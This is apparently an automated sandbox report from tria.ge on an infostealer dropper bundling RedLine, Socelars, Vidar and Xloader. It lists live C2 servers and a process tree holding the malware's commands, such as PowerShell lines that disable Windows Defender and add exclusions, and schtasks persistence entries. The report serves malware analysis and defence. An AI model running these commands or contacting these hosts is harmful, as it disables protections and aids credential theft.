Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

  • max time kernel
    97s
  • max time network
    1167s
  • platform
    windows11_x64
  • resource
    win11
  • submitted
    08/11/2021, 16:12

General

  • Target

    cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe

Malware Config

Extracted

Family

socelars

C2

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

redline

Botnet

ChrisNEW

C2

194.104.136.5:46013

Extracted

Family

redline

Botnet

media25

C2

91.121.67.60:23325

Extracted

Family

xloader

Version

2.5

Campaign

s0iw

C2

http://www.kyiejenner.com/s0iw/

Decoy

ortopediamodelo.com

orimshirts.store

universecatholicweekly.info

yvettechan.com

sersaudavelsempre.online

face-booking.net

europeanretailgroup.com

umofan.com

roemahbajumuslim.online

joyrosecuisine.net

3dmaker.house

megdb.xyz

stereoshopie.info

gv5rm.com

tdc-trust.com

mcglobal.club

choral.works

onlineconsultantgroup.com

friscopaintandbody.com

midwestii.com

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 8 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Xloader

    Xloader is a rebranded version of Formbook malware.

  • suricata: ET MALWARE FormBook CnC Checkin (GET)

    suricata: ET MALWARE FormBook CnC Checkin (GET)

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 1 IoCs
  • Xloader Payload 1 IoCs
  • ASPack v2.12-2.42 7 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 33 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 9 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • autoit_exe 3 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 15 IoCs
  • Checks processor information in registry 2 TTPs 56 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 17 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 39 IoCs
  • Suspicious use of SendNotifyMessage 38 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3208
    • C:\Users\Admin\AppData\Local\Temp\cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
      "C:\Users\Admin\AppData\Local\Temp\cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1868
      • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4008
        • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\setup_install.exe
          "C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\setup_install.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1080
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4400
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2928
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3860
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2672
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Tue01d702368dbba.exe
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3984
            • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe
              Tue01d702368dbba.exe
              6⤵
              • Executes dropped EXE
              PID:4784
              • C:\Users\Admin\AppData\Local\Temp\is-HE31D.tmp\Tue01d702368dbba.tmp
                "C:\Users\Admin\AppData\Local\Temp\is-HE31D.tmp\Tue01d702368dbba.tmp" /SL5="$20164,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe"
                7⤵
                  PID:2296
                  • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe
                    "C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe" /SILENT
                    8⤵
                    • Executes dropped EXE
                    PID:2936
                    • C:\Users\Admin\AppData\Local\Temp\is-FGQHL.tmp\Tue01d702368dbba.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-FGQHL.tmp\Tue01d702368dbba.tmp" /SL5="$30210,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe" /SILENT
                      9⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:5168
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue01994ec7a792fea9.exe
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4308
              • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01994ec7a792fea9.exe
                Tue01994ec7a792fea9.exe
                6⤵
                • Executes dropped EXE
                PID:1892
                • C:\Windows\System32\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Dzpafigaxd.vbs"
                  7⤵
                    PID:3376
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\Qekdqa.exe'
                      8⤵
                        PID:1644
                    • C:\Windows\System32\WScript.exe
                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dzpafigaxd.vbs"
                      7⤵
                        PID:4784
                        • C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe
                          "C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe"
                          8⤵
                            PID:5984
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 5984 -s 240
                              9⤵
                              • Program crash
                              PID:1876
                        • C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
                          C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
                          7⤵
                            PID:4024
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
                              8⤵
                                PID:4044
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Tue018f791563585c0f9.exe
                          5⤵
                            PID:4916
                            • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue018f791563585c0f9.exe
                              Tue018f791563585c0f9.exe
                              6⤵
                              • Executes dropped EXE
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1232
                              • C:\Users\Admin\Pictures\Adobe Films\msd56LegiJcpSW5Qshcgps2a.exe
                                "C:\Users\Admin\Pictures\Adobe Films\msd56LegiJcpSW5Qshcgps2a.exe"
                                7⤵
                                • Executes dropped EXE
                                PID:5656
                              • C:\Users\Admin\Pictures\Adobe Films\eeqz_unejFCeAU0KaIsRC7SI.exe
                                "C:\Users\Admin\Pictures\Adobe Films\eeqz_unejFCeAU0KaIsRC7SI.exe"
                                7⤵
                                • Executes dropped EXE
                                PID:6128
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6128 -s 296
                                  8⤵
                                  • Program crash
                                  • Checks processor information in registry
                                  • Enumerates system info in registry
                                  PID:3032
                              • C:\Users\Admin\Pictures\Adobe Films\lBcUZ1CkjIsRxo2q0wHsg_kl.exe
                                "C:\Users\Admin\Pictures\Adobe Films\lBcUZ1CkjIsRxo2q0wHsg_kl.exe"
                                7⤵
                                • Executes dropped EXE
                                • Checks BIOS information in registry
                                • Checks whether UAC is enabled
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                PID:5000
                              • C:\Users\Admin\Pictures\Adobe Films\PqKRE3hL8vp0kr_sy1mJeWdP.exe
                                "C:\Users\Admin\Pictures\Adobe Films\PqKRE3hL8vp0kr_sy1mJeWdP.exe"
                                7⤵
                                • Executes dropped EXE
                                PID:5128
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5128 -s 280
                                  8⤵
                                  • Program crash
                                  • Checks processor information in registry
                                  • Enumerates system info in registry
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:4028
                              • C:\Users\Admin\Pictures\Adobe Films\cGRxPW4fmZTC8sVr_TJdyu1d.exe
                                "C:\Users\Admin\Pictures\Adobe Films\cGRxPW4fmZTC8sVr_TJdyu1d.exe"
                                7⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                • Suspicious behavior: MapViewOfSection
                                • Suspicious use of AdjustPrivilegeToken
                                PID:6096
                              • C:\Users\Admin\Pictures\Adobe Films\Yz2QhNybWM57ajoxzA0zSeYd.exe
                                "C:\Users\Admin\Pictures\Adobe Films\Yz2QhNybWM57ajoxzA0zSeYd.exe"
                                7⤵
                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                • Executes dropped EXE
                                PID:3952
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3952 -s 280
                                  8⤵
                                  • Program crash
                                  PID:2848
                              • C:\Users\Admin\Pictures\Adobe Films\TEMRIQNyOZtDBfTDon0xyWiE.exe
                                "C:\Users\Admin\Pictures\Adobe Films\TEMRIQNyOZtDBfTDon0xyWiE.exe"
                                7⤵
                                  PID:5968
                                  • C:\Users\Admin\Documents\0ztj4EoJoU7Xa9Q43SsYopxZ.exe
                                    "C:\Users\Admin\Documents\0ztj4EoJoU7Xa9Q43SsYopxZ.exe"
                                    8⤵
                                      PID:5636
                                      • C:\Users\Admin\Pictures\Adobe Films\1QpyE4lTnyD__g0tJtpbXhJX.exe
                                        "C:\Users\Admin\Pictures\Adobe Films\1QpyE4lTnyD__g0tJtpbXhJX.exe"
                                        9⤵
                                          PID:3860
                                        • C:\Users\Admin\Pictures\Adobe Films\ETWmZ2wCF2ieQ2CQGOuy4Rum.exe
                                          "C:\Users\Admin\Pictures\Adobe Films\ETWmZ2wCF2ieQ2CQGOuy4Rum.exe"
                                          9⤵
                                            PID:4828
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 300
                                              10⤵
                                              • Program crash
                                              PID:5460
                                          • C:\Users\Admin\Pictures\Adobe Films\Mc1RITazx6lDE6y8mRkHgJUo.exe
                                            "C:\Users\Admin\Pictures\Adobe Films\Mc1RITazx6lDE6y8mRkHgJUo.exe"
                                            9⤵
                                              PID:1188
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 280
                                                10⤵
                                                • Program crash
                                                PID:2904
                                            • C:\Users\Admin\Pictures\Adobe Films\nD1cN0yMOl5sUoUlh7vClYJd.exe
                                              "C:\Users\Admin\Pictures\Adobe Films\nD1cN0yMOl5sUoUlh7vClYJd.exe"
                                              9⤵
                                                PID:1356
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1356 -s 1824
                                                  10⤵
                                                  • Program crash
                                                  PID:6040
                                              • C:\Users\Admin\Pictures\Adobe Films\ljbyAN5X_o9FG4oCn55ahc2J.exe
                                                "C:\Users\Admin\Pictures\Adobe Films\ljbyAN5X_o9FG4oCn55ahc2J.exe"
                                                9⤵
                                                  PID:5864
                                                  • C:\Users\Admin\Pictures\Adobe Films\ljbyAN5X_o9FG4oCn55ahc2J.exe
                                                    "C:\Users\Admin\Pictures\Adobe Films\ljbyAN5X_o9FG4oCn55ahc2J.exe" -u
                                                    10⤵
                                                      PID:2980
                                                  • C:\Users\Admin\Pictures\Adobe Films\uhPtAUvPm6y7qCrfuC77lVFT.exe
                                                    "C:\Users\Admin\Pictures\Adobe Films\uhPtAUvPm6y7qCrfuC77lVFT.exe"
                                                    9⤵
                                                      PID:3276
                                                    • C:\Users\Admin\Pictures\Adobe Films\Io86yyqjQ5rP21HmFeJTjrUV.exe
                                                      "C:\Users\Admin\Pictures\Adobe Films\Io86yyqjQ5rP21HmFeJTjrUV.exe"
                                                      9⤵
                                                        PID:7036
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                      8⤵
                                                      • Creates scheduled task(s)
                                                      PID:1840
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                      8⤵
                                                      • Creates scheduled task(s)
                                                      PID:1488
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c Tue0133c29150b.exe
                                                5⤵
                                                • Suspicious use of WriteProcessMemory
                                                PID:2840
                                                • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0133c29150b.exe
                                                  Tue0133c29150b.exe
                                                  6⤵
                                                  • Executes dropped EXE
                                                  PID:4352
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 280
                                                    7⤵
                                                    • Program crash
                                                    • Checks processor information in registry
                                                    • Enumerates system info in registry
                                                    PID:3764
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c Tue01c451610f4a.exe
                                                5⤵
                                                  PID:1900
                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01c451610f4a.exe
                                                    Tue01c451610f4a.exe
                                                    6⤵
                                                    • Executes dropped EXE
                                                    PID:4028
                                                    • C:\Users\Public\run.exe
                                                      C:\Users\Public\run.exe
                                                      7⤵
                                                      • Executes dropped EXE
                                                      PID:5920
                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                        8⤵
                                                          PID:5212
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5920 -s 284
                                                          8⤵
                                                          • Program crash
                                                          PID:5612
                                                      • C:\Users\Public\run2.exe
                                                        C:\Users\Public\run2.exe
                                                        7⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of FindShellTrayWindow
                                                        • Suspicious use of SendNotifyMessage
                                                        PID:5952
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/18tji7
                                                          8⤵
                                                            PID:1964
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x110,0x114,0x118,0xec,0x11c,0x7ffcb98646f8,0x7ffcb9864708,0x7ffcb9864718
                                                              9⤵
                                                                PID:5504
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
                                                                9⤵
                                                                  PID:2796
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 /prefetch:3
                                                                  9⤵
                                                                    PID:2516
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2684 /prefetch:8
                                                                    9⤵
                                                                      PID:6052
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3792 /prefetch:1
                                                                      9⤵
                                                                        PID:2804
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3800 /prefetch:1
                                                                        9⤵
                                                                          PID:3684
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4420 /prefetch:1
                                                                          9⤵
                                                                            PID:3592
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
                                                                            9⤵
                                                                              PID:3408
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5288 /prefetch:1
                                                                              9⤵
                                                                                PID:5456
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5680 /prefetch:1
                                                                                9⤵
                                                                                  PID:5816
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
                                                                                  9⤵
                                                                                    PID:4304
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5412 /prefetch:8
                                                                                    9⤵
                                                                                      PID:560
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5412 /prefetch:8
                                                                                      9⤵
                                                                                        PID:6020
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c Tue010769fc7f9829.exe
                                                                                5⤵
                                                                                  PID:3800
                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue010769fc7f9829.exe
                                                                                    Tue010769fc7f9829.exe
                                                                                    6⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:3260
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c Tue017abac33187.exe
                                                                                  5⤵
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:3144
                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue017abac33187.exe
                                                                                    Tue017abac33187.exe
                                                                                    6⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of SetThreadContext
                                                                                    PID:4512
                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue017abac33187.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue017abac33187.exe
                                                                                      7⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:5204
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1kYWa7
                                                                                        8⤵
                                                                                          PID:5332
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffcb98646f8,0x7ffcb9864708,0x7ffcb9864718
                                                                                            9⤵
                                                                                              PID:3784
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c Tue0138d4026db6d813e.exe /mixone
                                                                                      5⤵
                                                                                        PID:3068
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0138d4026db6d813e.exe
                                                                                          Tue0138d4026db6d813e.exe /mixone
                                                                                          6⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:1096
                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1096 -s 240
                                                                                            7⤵
                                                                                            • Program crash
                                                                                            • Checks processor information in registry
                                                                                            • Enumerates system info in registry
                                                                                            PID:5680
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c Tue018bc5c5a0a3d4.exe
                                                                                        5⤵
                                                                                          PID:420
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue018bc5c5a0a3d4.exe
                                                                                            Tue018bc5c5a0a3d4.exe
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:4664
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c Tue01e8898e0d1fce4.exe
                                                                                          5⤵
                                                                                            PID:4120
                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe
                                                                                              Tue01e8898e0d1fce4.exe
                                                                                              6⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:3472
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c Tue01bba8b80fa4.exe
                                                                                            5⤵
                                                                                              PID:3092
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01bba8b80fa4.exe
                                                                                                Tue01bba8b80fa4.exe
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:5044
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 280
                                                                                                  7⤵
                                                                                                  • Program crash
                                                                                                  • Checks processor information in registry
                                                                                                  • Enumerates system info in registry
                                                                                                  PID:5664
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c Tue0195119235.exe
                                                                                              5⤵
                                                                                                PID:1596
                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0195119235.exe
                                                                                                  Tue0195119235.exe
                                                                                                  6⤵
                                                                                                  • Executes dropped EXE
